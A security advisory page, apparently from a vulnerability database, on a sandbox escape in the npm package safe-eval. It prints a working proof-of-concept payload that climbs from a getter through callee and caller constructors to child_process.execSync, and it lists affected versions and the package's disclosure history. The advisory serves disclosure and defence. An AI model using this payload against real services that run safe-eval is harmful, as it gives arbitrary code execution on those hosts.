Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})();```
may be used to print the `pwd` to the console.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | safe-eval | >= 0.0.0 | no fix |
References
- Weakness (CWE)
-- Platform
- npm
- Package
safe-eval- Disclosed
- 03.09.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9pcf-h8q9-63f6 - CC BY 4.0
Vulnerability history: safe-eval
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 6
- First → latest
- 07.2018 04.2023
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 1
Disclosures per year
- 2018: 1
- 2019: 0
- 2020: 2
- 2021: 0
- 2022: 1
- 2023: 2
- 2024: 0
- 2025: 0
- 2026: 0
-
Sandbox Breakout / Arbitrary Code Execution in safe-eval this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.